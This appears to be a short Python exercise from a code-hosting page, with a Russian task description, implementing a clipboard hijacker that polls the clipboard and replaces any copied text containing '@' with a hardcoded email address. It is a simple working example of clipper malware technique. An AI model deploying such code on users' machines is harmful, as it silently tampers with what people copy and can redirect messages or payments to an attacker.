34 lines
1.8 KiB
Python
34 lines
1.8 KiB
Python
|
"""
|
|||
|
Напиши программу,
|
|||
|
которая в цикле мониторит буфер обмена,
|
|||
|
периодически получая из него текст
|
|||
|
с помощью pyperclip.paste(), и, если видит,
|
|||
|
что кем‑то был скопирован email,
|
|||
|
заменяет этот email другим,
|
|||
|
заранее прописанным в коде, помещая его
|
|||
|
в буфер обмена командой
|
|||
|
pyperclip.copy('coolhacker@xakep.ru')
|
|||
|
"""
|
|||
|
# Подключим модуль для работы с буфером обмена
|
|||
|
import pyperclip
|
|||
|
# Подключим модуль для работы с системным временем
|
|||
|
import time
|
|||
|
# Задаем переменную old и присваиваем ей пустую строку
|
|||
|
old = ''
|
|||
|
email = 'nikolai@xakep.ru'
|
|||
|
# Начнем бесконечный цикл слежения за буфером обмена
|
|||
|
while True:
|
|||
|
# Кладем в переменную s содержимое буфера обмена
|
|||
|
s = pyperclip.paste()
|
|||
|
# Если полученное содержимое не равно предыдущему, то:
|
|||
|
if(s != old):
|
|||
|
# печатаем его
|
|||
|
for i in s:
|
|||
|
if i == '@':
|
|||
|
pyperclip.copy(email)
|
|||
|
# в переменную old записываем текущее пойманное значение
|
|||
|
# чтобы в следующий виток цикла не повторяться и не печатать то, что уже поймано
|
|||
|
old = s
|
|||
|
# В конце витка цикла делаем паузу в одну секунду, чтобы содержимое буфера обмена успело прогрузиться
|
|||
|
time.sleep(1)
|